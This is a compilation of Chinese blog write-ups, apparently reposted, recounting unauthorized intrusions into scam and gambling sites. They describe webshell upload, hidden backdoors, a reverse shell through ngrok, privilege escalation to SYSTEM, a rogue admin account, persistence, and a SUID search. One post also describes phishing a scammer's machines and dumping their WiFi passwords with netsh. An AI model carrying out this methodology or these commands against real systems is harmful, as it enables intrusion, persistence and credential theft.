传到同目录下,为了节省时间可以在第一次连接前以后台任务运行(run -j)meterpreter 反向监听,这样就不会浪费时间再去切换 module 和设置 payload 再运行了: 在网页请求后建立第一个 payload 连接,然后迅速进入 shell 执行一个 nohup 后台任务来运行刚才上传的第二个 payload: 不出意外第二个 payload 的监听任务就会建立连接,并且是持续的长连接,第一个连接关掉也无所谓,后面就能愉快地进行其他操作了 (ง •_•)ง Linux 提权(Privilege Escalation)前面虽然已花了不少时间,但还没到达最关键的一步,现在才是重头戏,并且也不会太轻松,毕竟这是 Linux 系统,不同于 windows,版本和补丁数量不是特别高的话,提权漏洞一抓一把(这方面也稍微印证了 Linux 系统较于 Windows 更安全),少归少,不至于没有,只能逐个尝试; Sudo Baron Samedit(cve-2021-3156)记得今年(2021)年初正好报了一个 Linux sudo 程序的提权漏洞,正好试下: 感觉有戏,下个 exp 上传手动跑下试试: 最后似乎不行,再用 msf exploit 试试: 等了十几分钟,最后依然失败,这条路应该是行不通了; Local Exploit Suggester这里使用一下这款本地提权建议工具,它会自动获取相关系统信息并提供一些可利用的漏洞建议: 可以看到列举出了不少存在可能性的 exp,再去挨个尝试下,结果,也全部无效,心又凉了小半截; Suid 提权简单说 suid 是一种权限,它运行具有该权限的文件执行时,能以该文件所有者的权限执行,例如具有所有用户读写执行的文件权限是 rwxrwxrwx,那么它再具有 suid 权限就会是 rwsrwxrwx (第三位是 s),权限码就是 4777,这里可利用的地方就是,假如某个文件所有者是 root 账户,并且其他用户可执行,那么其他用户在执行时,就间接有了 root 权限; 例如利用 find 提权执行 whoami 就是: -exec whoami 可以先查找一下全系统就有该权限特征的文件: -user root -perm -4000 -type f 2>/dev/null 虽然有不少但是没有找到可利用的,常见的可利用程序和利用参数大致有(执行高权限的文件或查看高权限文件内容): crontab 任务利用定时任务(cron)漏洞也是一种思路,假如存在会被定时执行的脚本文件,并且该文件又可写,就可以让其到达时间后执行任意命令;不过检查了一遍,都没有找到可利用的文件; 宝塔 CSRF在一度没辙的时候,把方向转向了之前备份下载的站点源码,分析的时候发现有个日志输出目录,看着输出日志信息都比较详细,就尝试着全局搜一下请求数据之类的,看有没有账户密码或 cookies 数据,结果就找到了几处宝塔相关的登录凭证: 但这些凭证的时间都很靠前,应该都失效了,而且在用自己的宝塔服务测试时发现,出了会话 cookie 时效为 2 小时外,软件似乎也对 csrf 这类漏洞做了限制,比如某个账户在一台电脑登录后,直接拿到浏览器存储的 cookie 信息然后放到另一台电脑中去伪造访问,不仅伪造的机子无法登录,原登录的机子也会自动退出登录;不过在分析时发现了另外一处 cookie 信息,里面似乎包含了宝塔面板的一些信息: 拿去解码分析下,发现有个隐藏四位的手机号,应该是面板的登录账户名,先留着也许后面有用: mysql 提权目前来看这条路希望不大,前面提到不同站点使用不同的 mysql 子账户,且分配的权限较低,连 dumpfile 这样的指令也执行不了,更不用说 UDF 这类提权操作了,也对 root 账户进行过密码爆破,都没有收获;想起之前不是拿到一个宝塔的手机号嘛,说不准会用手机作为账户密码,虽然隐藏四位,但无关紧要,总共才一万种可能,直接拿 crunch 生成一个字典然后拿去 hydra 跑一下 root 密码: 虽然跑完也没花多少时间,但结果证明一个也不是,猜想失败; Dirty Cow后续没更多思路时,查了会资料,准备再试下经典的 Dirty Cow 提权漏洞: 然后尴尬的事就发生了,执行了一段时间 exp 后,服务器就突然报错断开了,然后 IP 就一直超时再也连不上了,这个 Kernel panic ,也就是 Linux 系统的致命错误,如果没记错的话无限近似于 Windows 系统中断或蓝屏(难道不经意间让 exp 升级为 DOS 了……),当然也可能是运气不好对方又关站跑路了,那么就先这样吧,指不定后面谁又接盘了 (T_T); C段嗅探鉴于这次攻克过于棘手,所以过程中曾对机器的所在网段进行过扫描,然后不小心拿下一台业务类似的,和这次的目标在同一网关管辖下,所以先后台嗅探着数据吧,后面有时间再看看收获; 总结惯例的总结时间,这个就没说啥的了,如果是诈骗是被动诱捕,那么这个就是主动投敌了,不要过分相信别人私下写的代码再呈现给你看的东西,即使它看起来是那样的真实,你所看到的只不过是对方想让你看到的罢了,对方既是规则的执行者也是制定者以及违背者。 转载自原文链接: https://knightyun.github.io/2021/12/06/exploit-penetrate-bocai-website
-
记一次网络诈骗者站点的全过程与套路分析
这是一则漫长又跌宕起伏的故事,小伙伴们请随意就坐,自备茶点;全文包含信息收集与攻克的详细全过程,以及对该类型诈骗思路的分析拆解,以提高防范意识; 0x00 梦的开始那是一个阳光明媚的晌午,日常的搬砖过程中收到一封公司邮件, 看到这熟悉的措辞,又瞄了一眼下面的附件内容,熟悉的气息扑面而来,就顺手保存了下来; 随即管理员立马发现了不对劲,追发邮件说员工账号被盗用,不要轻信邮件内容,原始邮件也被标为垃圾邮件(上次的类似邮件删的太突然,事情还没开始就结束了,这次总跑不掉了( ̄_, ̄ ),作为当代好青年,五星好市民,是时候发扬一下活雷锋精神了); 而这张图片,就成了一切梦开始的地方…… 0x01 信息收集0x001 审查域名起始信息非常有限,开局一张图,剧情全靠猜,不过这个入口也足够了,先拿出家伙解析下二维码中的信息: 没有额外的数据,只有一串网页链接,看着这域名名称,嘴角微微上扬;先去解析一下域名: 到写文为止已经不能解析该域名了,整顿的倒挺快,不过好在之前有解析备份,域名万变不离其 IP,并且也没有发现使用 CDN,流量全部通往源站;顺手查了一下,是香港的服务器: 然后 whois 一下,搜集相关信息: 不出意外,又是用的三方注册机构,没有额外的有用信息,不过这个注册时间挺有意思,本月的,骗子同志动作还蛮快的;接下来只能去对方网站瞅瞅; 又是西部数码,看来有些备受青睐,网站提供隐私保护机制,注册信息不对外公开,暂时也获取不到有用信息; 0x002 审查 IP现在唯一的线索就是之前解析的那个 IP 了,一步一步来,先 nmap 扫一波端口服务先,收集更多信息: 嗯还行,看见了几个熟悉的身影,继续走流程,分别跑下默认脚本分析下端口服务信息: 没有探测倒匿名 ftp,http 支持 TRACE,没有设 httponly,有执行 XSS 的机会,小本本先记下;然后老规矩,默认字典定向爆破一轮先,尝试还是要有的,万一那啥了呢: 剩余端口也都试了,意料之中,没啥收获,看来基本的密码强度意识还是有的;另外之前的扫描扫描中有出现 8888 这个端口,记得这个是服务器管理工具宝塔面板的默认后台入口,访问一下试试: 有入口校验,起码证明确实是用的宝塔面板,不过这个爆破应该是不可能去爆破的,记得入口 url 后缀默认大概是 8 位任意大小写字母与数字的组合,就是 62 的 8 次方,大约两百万亿,就挺秃然的,先放在后面再说吧,接下来,继续转战其他方向; 0x003 审查页面来都来了,既然扫码是跳转页面链接,并且端口也开放了 80 和 443,当然要打开网页访问一下康康,同时开启开发者工具,看看有啥小动作: 哎呀,还识别机型,这靶向用户还挺明确,那就切成移动端看看: emm……怎么说呢,有那味儿了,咋一看还真看不出来,模仿的还挺全(不过胆也确实大,政府网站都搞),然后看了下接口返回的头信息,发现使用的 Windows IIS 7.5 + ASP.NET 的服务: 这个先记着,后面漏洞挖掘用得着,后面试了一圈发现页面都是空壳,只有那个办理入口的弹窗能跳转,跳转页面是: 描述的还挺全,好让大家都能对号入座,这里点下立即申请: 然后就开始了个人信息收集的一条龙服务,先是姓名和身份证号,另外,注意看旁边显示加载的 PNG 头图的名称,额难道这是开发者的疯狂暗示??这里随便输入条信息进去看看: 居然还有校验,打个断点看看源码逻辑: 一个号码校验都整的这么齐全,还真是费心了,不过前端的校验都是纸老虎,这里也不用什么偏方了,直接用开发者工具的源码编辑覆盖功能,直接给校验函数返回 true: 然后校验通过,进入下一个步骤: 这里是要收集银行卡号和密码以及绑定的手机号,唉,意图很明显,哪有打款转账还要对方密码的操作,这里也准备随便填下,银行卡校验用同样的方法绕过一下,不过在其中一个加载的脚本文件中发现了有意思的东西: 开发者连源码中的调试数据都不删除,调的阿里支付的接口,正好借对方调试账号用一下下(再次证明了作为开发者,生产环境中代码移除注释的重要性=_=): 然后进入了下一个页面,再次收集姓名和证件号,以及银行卡余额(这里应该是对用户真实情况进行摸底以及其他未知操作),下意识查了自己的余额,唉果然这里连撒谎的勇气都没有 T_T,马上填完进入下一步吧: 然后页面会一直加载不断刷新,再无其他跳转,应该是给诈骗者提供操作的时间,那么网页的相关操作就暂时告一段落,大致了解了一些操作步骤,接下来探索一下其他方向; 0x02 漏洞挖掘0x001 SQL 注入信息收集差不多了,现在来逐个击破,先从最熟悉的网页端入手,前面审查页面时有不少提交表单和输入框,这些都是潜在的攻破点;挖掘技术哪家强,先祭出神器 Burp,拦截一下之前提交银行卡号密码的表单数据: 然后对字段值进行简单注入尝试,检查报错信息: 没反应,应该是有基础校验,再换个: 有反应,似乎看到了希望,虽然返回乱码了,应该是对方程序处理问题,不过看句式像是 SQL 报错,又接连试了几个,也是同样的返回,那么剩下的冗杂工作,就交给工具进行吧,掏出 sqlmap 跑一波: 后面换了几轮参数也没成功,应该是过滤机制比较周到,然后在测试另一个页面时,才发现了那段报错信息的原本含义: 嗯还是太年轻,会错意了,应该是程序识别到了字段值中的 SQL 关键字;另外回想起之前扫描到服务可能隐含 TRACE 相关漏洞,测试了下,应该是服务端暂未支持: 然后又想了想,针对密码字段进行数据库表字段设计时,应该会考虑其字符位数低的特点,减少空间占用,因为这是银行卡密码,都知道是 6 位数字,这里传个大数看看有没有惊喜: 尴尬,是有惊无喜,应该是没有特别处理,直接反馈为服务端错误;后面又陆续换了几个页面,测试下来都没太大收获,场面又一度陷入僵局,只能又暂时转移战场; 0x002 Metasploit 渗透终于到 Metasploit 出场了,蓄势待发, 先搜一下 IIS 的已知漏洞: 有不少,那就先调几个条件匹配的试一波,这里只放个示例,就不一一展示了: 然后就是其他几个端口、服务,挨个测试一遍,也没有什么突破,看来补丁都打的挺全;目前又暂时陷入了死胡同,虽然 msf 还有不少模块可以利用,不过暂时不准备继续深入试探了,因为想起来还有另外一件重要的事情还没做; 0x003 站点目录枚举站点目录扫描,这件重要的事怎么能少得了,可供选择的工具很多,如 dirbuster 等,这里我们使用 Burp Suite 的 Engagement tools 里的 Discovery content 工具,进行目录爆破: 其内置的大量字典已经足够使用了,不过涉及网络请求,这个过程也是异常漫长,不过可以后台跑着,不影响做其他事,这里就直接贴一个扫描结果: 直呼好家伙!不扫不知道,出来吓一跳,居然错过了这么多隐藏入口,小本本记下先,后续挨个探索,不过呢视线情不自禁地锁定到了名为 upload.asp 这个文件上,开发者这么明显的暗示就无需我多言了(ㄟ( ▔, ▔ )ㄏ); 直接访问没什么返回数据,难道是方法不对?换成 POST 表单文件数据再试试: 看来这样上传也没用,也许还要额外的校验参数之类的,上面不是刚扫了一堆没见过的页面嘛,现在回过头去挨个分析下页面源码看看,也许会有收获: 果然,在其中一个页面中,发现了调用这个上传接口的表单,是个隐藏元素,结合页面内容,应该是用于收集用户上传的某些证件信息,身份证照片之类的,然后看了对应的 js 源码,果然存在一些校验和接口参数: 这里去分析调用这些函数再上传文件太费劲了,这不是个隐藏表单嘛,直接改下代码通过 UI 操作多轻松 (¬‿¬): 样子虽然简陋了点,管他的,能跑起来就行了,上传个文件试试: 然后再访问看看效果: 好家伙,大写的激动!嘴角再度微微上扬,不过先冷静下,再试试有没有文件类型校验,服务是 ASP.NET 的,那就简单传个 asp 程序试试,下面的代码会在页面输出站点运行服务的名称: 然后上传上去看看: 这……俺还能说什么呢,此时无声胜有声 $_$ ,不过这并不是终点,这只是一个良好的起点,一切才刚刚开始 (¬‿¬); 0x004 意外收获其实网站目录中还有一个很让人在意,就是叫 jieliuzi 这个目录,虽然摸透了对象开发者喜欢汉语拼音命名的习惯,但是这个含义始终未能参透,连蒙带猜外加输入法都未得其解,甚至后面进去一探究竟后没没想明白 =_=,中华文化真是博大精深;不管了,看看页面访问结果: 是个登录页,十分简洁,而且这其实是个 PC 站点页,骗子在某些方面也挺有情调的,这里不作展示是由于整图过于刺激(怎么说呢,额,这登录框真白),怕过不了审;另外,注意一下这个网页最上面的标题名,第一反应就是应该不会是简单的字面意思,听着也不像啥好词儿,为此专门去百度了一下: em……又长见识了,原来诈骗也能是一门学问,再结合最开始那张二维码的来源(企业邮件),看来是这么个意思了,大家平时也都注意警惕一下; 随后试了下登录,没有验证码或超时超次数验证这些,并且也没挖掘到可利用的 SQL 注入点,这种情况就该 Burp 的 Intruder 出场了,后台登录名一般都是 admin,密码就祭出 rockyou.txt 跑一波先: 这也是一个比较漫长的过程,不过一会儿之后再去看的时候就发现了变化: 需要留心的就是这里的返回数据长度,因为正常讲大部分试的密码都是错误的,服务器响应的数据大小也都是一样的,突然出现不一样的长度多半就出现了转机,这里看来是识别出了 sql 语句,和之前一样报错,然后看最上面那条: 整个列表中就这一条最特别,看返回也是 302 重定向,看来应该是密码对了跳转进页面了,然后看这密码,也是够随意的,看着简单,猜的时候谁又能想到呢,登录进去看看: ……,唉,怎么说呢,应该是触目惊心吧,虽然数量没有一些媒体平台时不时报道那些的那么夸张,但也不是一个小数目了,而且每一处记录的银行卡账号、密码、身份证号、手机号、验证码、IP位置这些,都是近乎真实的;我不是正义的制裁者,也没有多少执行正义的力量,最多就热心的帮他们删个库再跑路,个人的力量太小了,所以这些还是都后面交给警察蜀黍处理吧,正义可能会迟到,但不会缺席。 0x03 获取权限0x001 Get webshell暂时先抛开题外话,上面进行到了文件上传这一步,文件上传可以意味着很多事情,可执行文件的上传便可以实现获取服务器的系统操作权限,当然这里的网页应用程序的相关权限一版很低,提权的事就是后话了;当前任务是拿下网站操作权限,即 webshell,继续走流程,先上传个简单的 asp 版一句话木马: 然后就该 亮剑 了: 搞定,进去康康: 文件相关操作: 数据库相关操作(对应之前后台页面的展示数据): 命令行终端相关操作: 甚至获取 Windows 系统信息: 好了,这不啥都有了,还要啥自行车,但也不能止步于此,虽然现在拥有了对这整个站点的操作权限,包括文件及数据库的增删改查等,但也不至于为了正义用爱发电,每日蹲点删库删站,我们的目标还在山的那边 (ง •_•)ง 0x002 Backdoor俗话讲,要生于忧患,虽然现在入口打通了,但是凡事都要留一手(我更喜欢留多手),防止木马那天被管理员察觉并清理就尴尬了,所以找几个隐蔽的位置,再上传几个,比如平时几乎不被注意的 css 或图片等静态资源文件夹,js 库文件等,文件命名上也可以花点心思,模仿已有文件或者配置文件之类的,使人有一种一眼看上去是正常文件的幻觉(+_+); 当然,还可以利用一种技术,简单讲就是 Windows 中我们熟知的隐藏文件,一般一些软件或系统的配置文件会通过这样的方式隐藏,防止普通用户误删改,查看也能简单,像下面这样勾选一些就都出来了: 所以我们这里可以通过 shell 命令把指定文件隐藏掉,使得其不会被轻易发现: 0x003 Get shell目前我们获取到的还只是 webshell,虽然可以模拟执行终端命令,但是这些都是通过上传的 asp 后门程序执行的,就是说每步操作都会发起 http 请求,防止被平台记录,需要获取系统 shell,即上传系统可执行文件(如 .exe 文件,就是俗称的木马),至于如何生成,就需要 metasploit 再次登场了; 这里又涉及一些东西,getshell 的木马一般有两种,正向连接和反向连接,基础的认知可能是将程序上传至机器,然后运行就会后台监听某个端口,等待外部的连接,连上后就可以通过两端的交互达到控制系统,当然前提是系统防火墙没开或者允许该端口放行,而通常服务器都会开启防火墙并过滤端口,只放行指定的几个; 所以后面出现了第二种类型,反向连接,或者叫反弹 shell,简单讲就是第一种类型反转一下,不是目标机器等待我们连,而是我们外部的机器等待目标机器来连接,这解决了防火墙端口的限制,因为防火墙一般不会特意去限制出站端口,当然这种类型又增加了额外的限制,首先我们需要一台具有公网 IP 的机器,像平常这种连着 WiFi, 深埋于 n 层路由下的设备,基本可以放弃了(使用端口转发也需要运营商提供公网 IP),另外就是需要目前机器可访问公网,因为有些服务器考虑安全因为是在内外下的,用反向代理等方式传输流量,无法访问外网; 由于不清楚对方防火墙情况,先用反向连接看看,手边暂时没有公网机器,就先用 ngrok 转发一下端口流量,先启动服务: 从之前收集的数据中得知,对方机器是 x64 Windows 系统,那么这里就直接用 msfvenom 生成对应的 payload(暂时先不考虑加密加壳这些,传上去看看是否被杀毒再说): reverse_tcp 是反向连接,bind_tcp 是正向连接,连接地址填 ngrok 提供的链接,端口填链接对应的,然后生成执行文件,最后上传到对方站点某个隐蔽的目录下: 然后在 msf 中启动监听程序,等待对方连接,地址填本地,端口填之前 ngrok 中设定的本地端口,使用的 pyaload 要和之前 msfvenom 中配置的一致,不然会连接失败;完成后,一旦目标上的程序启动,首先就会访问 ngrok 域名和对应端口,ngrok 服务再把传输数据转发到本地的监听端口中,数据就通过这一层中介进行双向传输: 然后在 webshell 中执行它: 运行成功,这是切换回 msf 一会后就会有所反应,表示连接成功: 现在再查看 ngrok 服务就回显示有一条连接,表示可以进行通信了: 现在连接成功进入的操作界面是 meterpreter,这是 metasploit 提供的有许多拓展功能的集成终端,类似于 cmd、shell,但是功能更强大,可以执行切换目录、获取系统信息、操作进程、上传下载文件、进一步渗透等操作,甚至在拿下 system 权限后,还能解锁控制鼠标键盘、屏幕截图或实时预览等高级功能,这里先查询下基础信息: 和之前的虚拟终端一样,当前操作用户是 IIS,当然这里想用 cmd 终端操作也是可以的,执行下 shell 命令进入系统 shell,操作和命令与系统命令提示符没有两样: 初次进入可能会出现中文字符乱码情况,因为 cmd 默认使用的字符集问题,手动切换成 UTF-8 的 65001 就行了,可能唯一不太方便的地方,就是没有集成历史记录的功能,要重试上个命令得全部重打一遍,毕竟是网络转发数据,不应要求太多: 0x004 Get system如上面所讲,目前获取到的只是普通账户的 shell,虽然有一定的终端操作权限,但还是远远不够的,会有诸多限制,比如无法操作一些服务、增删系统账户、访问系统目录等等,那么接下来的操作就是 shell 提权了,或者叫 getsystem,这也是 meterpreter 中的一条命令,功能和描述一样,会尝试多种漏洞进行权限提升以获取 SYSTEM 权限,只不过试了下似乎都没有成功,只能另寻他法: 这里值得说的是,可能有小伙伴会有疑惑,认知中 Windows 系统中权限最高的不应该是超级管理员 Administrator 吗,为什么一直在强调获取 SYSTEM 账户权限,其实严格来讲,Administrator 账户虽然成为管理员,其实权限并不是最高的,也有很多它做不了的事,举个简单的例子就是删除系统账户 Guest: 以及其他一些系统层面的事,administrator 也做不到,而这些高层次的操作都由 SYSTEM 账户来完成,虽然在账户设置里面从没见过它,但它是确确实实存在的: 就像网站服务其实也有个对应的 www 账户一样,应该没人曾经登录过它吧; 前面讲获取 system 权限使用 getsystem 不奏效,那么就继续试探一下其他路子,也就是令牌窃取,令牌指的登录令牌,类似登录网站要用的 cookies 或者 token,而 Windows 中存在两种令牌:Delegation Tokens(授权令牌) 和 Impersonation Tokens(模拟令牌),前者用于交互式的登录,如直接或使用远程桌面,输入账号密码登录进系统,而后者用于非交互式的会话中,访问网络驱动或其他域登录脚本程序; 这里要利用的正是模拟令牌,窃取的过程有些类似网站里的 cookies 窃取,由于令牌在重启系统之前,会一直被保留,所以有账户登陆过的话,其令牌有机会被冒充使用,而且有授权令牌登录的账户注销的话,令牌也会转化为模拟令牌,同时其原本的相关权力都会保留; 这里接下来就先使用 incognito(伪装、隐瞒的意思,偷盗者总是会先隐藏起来嘛)插件,进行令牌盗取,再用 list_token 命令查询当前能获取的令牌情况(数量因当前的 shell 权限而定): 这里可以看到可盗取令牌的账户,要窃取的话就使用 impersonate_token 命令: 虽然可以窃取成功,但试了下这个账户的权限也不高,尝试性的试了下 system 账户也失败: 所以只能再尝试其他提权漏洞了,这里就先用 bg 命令把当前 meterpreter 会话切换至后台,回到 msf 界面,使用一个已知的 Rotten Potato 提权漏洞: 需要的唯一参数是会话 id,正好可以利用刚才的 meterpreter 会话,然后还需要设置一个 payload,这里之前有了解过,目前机器可以访问公网,而且虽然有使用防火墙过滤端口,但是似乎一直开着这么一群端口: 这是远程 RPC 需要使用的一系列端口,所以盲猜机器会开放 49150-49160 这么一个范围的端口,那么就见缝插针,选一个没被占用的用于开启监听,这样就能直接使用正向连接了,而不用麻烦的再次使用反向连接: 地址填目标机器的地址,这样运行后就能自动连接到目标机器的监听端口上,这里先运行一下试试能不能成功: 哟西!竟然比想象中的顺利,就不多解释了,检查一下权限和令牌先: Nice,成过窃取到了 system 账户的令牌,以对方身份登录成过,接下来就可以试试权限了: 进入 shell 后账户确实变成了 SYSTEM,也能增加或删除账户了,那么至此,成过拿下系统最高权限,成功 getsystem; 0x005 权限测试回想起前面有说过,高权限可以获取屏幕截图或者实式预览,那么这里来就看一下下: 成功截图到了指定文件,打开看看: 虽然分辨率有点低,但大致是个登录界面的模样,然后实时预览看看,由于这个要启动图形服务,就在虚拟机里跑一下: 大晚上的,应该没啥人登录,,不过光是预览还不够,现在是可以直接远程登录进去的,只是需要额外的一些操作,先建立一个账户并分配管理员权限(即加入 Administrators 用户组),名字同样可以取得有一定迷惑性: 不过光是这样还仍没有远程登录的权限,需要将用户分配进远程桌面用户组才具有登录权限: 然后这里本来是要开启远程桌面服务的(TermService),结果查询发现是已经开启的,然后一路追踪到了服务对应的进程,进程对应的端口: 居然默认端口从 3386 改成了 10086,有意思,之前端口扫描默认常用端口,难怪没有扫出来,既然现在用户和密码都有了,登录进去看看: 唉,都舍不得掏钱整台配置好一点的,一点都不懂得投资 ㄟ( ▔, ▔ )ㄏ,没意思,擦擦屁股溜了溜了(~ ̄▽ ̄)~; 0x005 System Backdoor老规矩,任何阶段都需要留一手,并且现在 system 权限,因此只要留下后门那么再次连接就直接具有 system 权限,那么话不多说直接上传,文件名同样可以取得有一定迷惑性: 然后配置程序开机启动: 当然,要想再留一手就可以再创建个系统服务,只是生成的 payload 要用 service 类型的,不然会启动失败: 然后上传后在目标机器创建服务,配置开机自启,也可以再额外配置启动失败后自动重启服务,或者最近调用执行其他程序,最后再手动启动一次服务: 至此,大部分流程基本结束,拥有系统权限可以做更多的拓展渗透,这些都是后话; 0x04 套路分析0x001 作案工具目前为止一共收集到两个后台,一个宝塔面板和一个捕鲸系统后台,宝塔之前是由于有登录校验,没有获取到登录入口,现在就轻松了,用宝塔自带命令 bt default 查看一下默认入口和账号信息: 额……者用户名难道是要暗示自己输得起?待会用这个账号和密码登进去看看,另外在查看目录时,又发现了有意思的部分: 这里还列出了不少站点,难道现在诈骗也搞分布式作案了 ( $ _ $ ),或者微诈骗?算了后面有机会再去一锅端了,先登录进去看看: 看了默认密码被换调了,虽然现在有权限能直接改掉密码,为了不打草惊蛇,就先放一放,反正进去也都是一些可视化服务器配置,毕竟现在服务器的系统权限都攥在手上呢,不必着急,主要先分析下另外一套系统,那才是骗子们的主要作案工具; 可以观察页面存在两列功能栏,分别罗列着骗子能远程执行的操作: 两列功能类似,只有个别区别,这里贴个图对比一下,感觉功能 2 应该是 1 的升级版,多加了几个功能,不过后面发现并不是这么简单,二者都能使用,这样是为了方便骗子连环套取用户信息: 0x002 诈骗流程最前面的捕鲸邮件这些就不说了,就是邮箱盗号后广发邮件撒网罢了,现在主要来看下上面的一堆功能项,为了行骗过程操作方便,大部分功能应该都是字面意思,还记得最开始审查页面的时候,最后是停在了一个加载页上面,那么应该就是衔接这里的操作的,不同的功能项会触发不同的返回结果: 这里空讲可能没什么概念,功能汇总有十几二十 个,就挨个给大家实际演示一遍,从骗子的视角过一遍大致就能体会了,还是用之前的表单数据提交,然后这部触发不同的功能后回去看结果: “未通过”未通过就是上面的加载页面,是默认状态,也是处理不通过返回之前的中转页面; “通过–杀它”标记通过后会跳转提交验证码的页面,这里获取验证码只是个幌子,真实情况是骗子在向银行发起请求获取验证码,然后骗取用户提交: “验证码超时失效,请返回重新获取(不显示金额)”如果你这边操作慢了,导致骗子那边输入超时,就会提示让你重新操作获取提交一次(想的真周到=_=): “通过=【显示余额】”只是不是有提供余额信息嘛,这里就提供用户确认再次骗取二维码(让人觉得像是银行正常查询出来的): “余额查询”如果骗子那边执行什么操作核实到金额不对时,就是提示用户重新填写正确金额: “取款密码错误”如果发现取款密码不对,也会重新让用户提供: “手机号码错误”然后是手机号: “银行卡号错误”银行卡号: “身份证号错误”姓名和身份证号: “审核通过”然后是审核通过,让你耐心等待结果(等待骗子把钱套走跑路 $_$): “不支持,请更换名下其他银行认证”如果发现某些银行卡不太好利用,就会提示更换: “换【信用卡】”换信用卡: “换【储蓄卡】”换储蓄卡,反正对方为了达到目的,会反复榨干你的每一处积蓄,比大多数服务业都贴心…… “有效期和后三位/错误”然后这个是信用卡相关的信息,和密码一样重要,也要注意不要轻易透露出去: “【建设银行】==获取授权码”使用建设银行应该是需要额外的授权码,骗子也会想办法搞到手: “【网银密码】”如果存在网银,也会骗取登录密码进行远程套现: “请保持银行卡内余额大于5000验证”下面的就有意思了,如果骗子觉得你卡内金额太少(穷),就会提示你再多搞点过来: “请保持银行卡内余额大于10000验证”或者骗子心情好,来个狮子大开口: “验证码超时失效,请返回重新获取(显示余额)”然后这是验证码超时提示金额,和之前差不多: “只支持工、平、浦、招、光储蓄卡”这里本来应该是提示支持指定银行,不过……看来天下开发者总是有不同的环境,类似的处境,唉,同情那位仁兄3秒: “下载 apk 拦截马”这里也一样,本来该骗用户下载安卓木马的,但似乎也还没准备好: “联系在线客服”一样: “信息不一致,请返回从新填写正确的预留信息”察觉用户输入信息不一致,重新填写: “扣款–打枪”这里也有意思,基本就是骗子已经从用户手上套现了,为了安抚民心,整这一大段话提示用户这是流程的基本操作,以及后续会返还之类的(信你个gui): “【先回复打字,再设置此功能键】”然后这是最后一项了,大致就是骗子自己编话术,然后返回提示用户: 0x05 结语正道的光可以迟到,但不能缺席,由于目前所收集的诈骗团伙相关信息还并不充分,后续会想办法陆陆续续收集,再交由警方处理 最后呢,其实也并没有什么额外要说的,因为防骗或安全意识这些大道理,国家政府再到媒体个人,每天都在强调,稍微留心一下就行了,从这整个过程看来(攻克过程不重要,可以忽略),贬义的讲,骗子考虑业务场景还挺周到的,也有不少地方在利用人的弱点,就比如之前图中那些接近官方的环境和话语,大家还是得注意分辨; 然后就是最最重要的,因为那封邮件是一切的开端,注意提高账户密保和安全性是一方面,比如加个登录二次验证什么的,另一方面就是不要轻信任何信息,涉及链接或二维码这些的,即使来自身边熟悉的人,因为他们可能也只是受害者链上的一个节点而已。 转载于原文链接地址:https://knightyun.github.io/2021/09/04/exploit-take-down-swindle-website
-
记一次违法网站的渗透经历
0x01 前言 在一次攻防演练信息收集过程中,发现该网站和给的资产网站是同一IP段于是有了此次违法站点的渗透。 末尾可领取字典等资源文件 0x02 SQL漏洞发现 到站点进行访问 利用插件查看站点为php 常规扫目录 前台 一键登录之后在新增地址处发现存在注入 0x03 进一步漏洞利用 此处提示需要get传参,在address.php请求处,随便填了个数字请求后,继续填写信息并抓包跑sqlmap 经过长时间的等待,发现存在布尔盲注和报错注入 接下来找站点后台管理地址 利用注入得到的账号密码登入后台 0x04 任意文件上传 寻找上传点 上传 访问路径 直接上传php抬走 至此拿下了这个站点,简单高效 一套带走!
-
记一次偶遇某群某产继而入侵某BC内网的奇妙故事
01 前言 近日无事闲逛,偶遇某群有人在招程序员帮忙写Exp和收shell啊收0day啊,又觉近日无文章可写,所以便尝试社会一波大佬。 首先呢先问问套路一下,看看他干啥的. 这个人想找人帮忙写批量的Exp 然后假装自己能写,先套路一波,进入角色,让对方以为我真的可以写。 这里呢,我说我自己搭建了一个站点,用于测试,然后叫他链接shell试试看看。是否OK! 接着该目标并未上线,他将我搭建的站点发送给了他们手下的其他两个人。 02 技术一号 被我社工的这个某产人员,实际不懂技术,他将我的钓鱼页面发给了他们手下2个技术人员,其中一个上线的估计是个虚拟机,另外一个上线的则是物理机。所以这里只钓鱼到了一台。 这里一共上线了2台PC电脑,他们拥有统一的外网IP出口,柬埔寨显示地点,目前不知道真假。这个人就是我们所谓的脚本小子黑客。给各位看看他的PC都有那些资料。 脚本木马 各类实名证件 各种批量黑客工具 黑帽SEO关键词 入侵用的各类VPS机器 各类网站的账户 03 内网拓展渗透 每一个进程都有一个环境块,其中包含一组环境变量及其值。有两种类型的环境变量,用户环境变量和系统环境变量。 arp -a 看了一下。发现了如下机器。10多台。 192.168.1.1 78-44-fd-fd-55-b9 动态 192.168.1.13 6c-8d-c1-18-aa-b2 动态 192.168.1.24 dc-2b-2a-c2-22-15 动态 192.168.1.42 8c-8e-f2-4f-26-8f 动态 192.168.1.54 b0-fc-36-29-f7-ab 动态 192.168.1.62 b4-d5-bd-b2-29-e2 动态 192.168.1.81 38-53-9c-ee-31-7e 动态 192.168.1.83 38-71-de-13-4f-d8 动态 192.168.1.92 cc-29-f5-bc-b8-c1 动态 192.168.1.119 cc-44-63-18-08-4c 动态 192.168.1.137 6c-72-e7-5e-f9-7e 动态 192.168.1.143 a4-d9-31-89-3d-c4 动态 192.168.1.149 48-3b-38-45-4d-22 动态 192.168.1.171 cc-29-f5-78-70-87 动态 192.168.1.178 00-b3-62-7d-11-f6 动态 192.168.1.206 b0-fc-36-30-79-7b 动态 192.168.1.233 e4-f8-9c-9f-61-fe 动态 192.168.1.243 dc-41-5f-05-fe-ef 动态 192.168.1.255 ff-ff-ff-ff-ff-ff 静态 224.0.0.22 01-00-5e-00-00-16 静态 224.0.0.252 01-00-5e-00-00-fc 静态 224.210.34.44 01-00-5e-52-22-2c 静态 239.11.20.1 01-00-5e-0b-14-01 静态 239.255.255.250 01-00-5e-7f-ff-fa 静态 255.255.255.255 ff-ff-ff-ff-ff-ff 静态 读取当前计算的WIFI账户密码看看 netsh wlan show profiles 所有用户配置文件 : 2317RL-5G 所有用户配置文件 : 2317-ATA-5G 所有用户配置文件 : HUAWEI-D91C 所有用户配置文件 : TP-LINK_6A68 所有用户配置文件 : Airtel-E5573-8318 所有用户配置文件 : TP-LINK_88T8 所有用户配置文件 : TB-LINK-96A9 netsh wlan show profile name="输入上图配置文件名称" 继续信息收集 这是一个上 an 网的黑客 04 后续 在经过长达三天的监控后,发现该名黑客的盈利方式。这个人打开了一个BC的代理管理平台,如下: 对他的账户经过分析,发现其是一个代理账户。然后下载其APP进行分析。发现上面都是一些:时时彩,以及一些赌博游戏,就跟赛马那种一样。只不过他这个是赛车。后台会生成大量的机器人,来制造很多人在跟你玩。 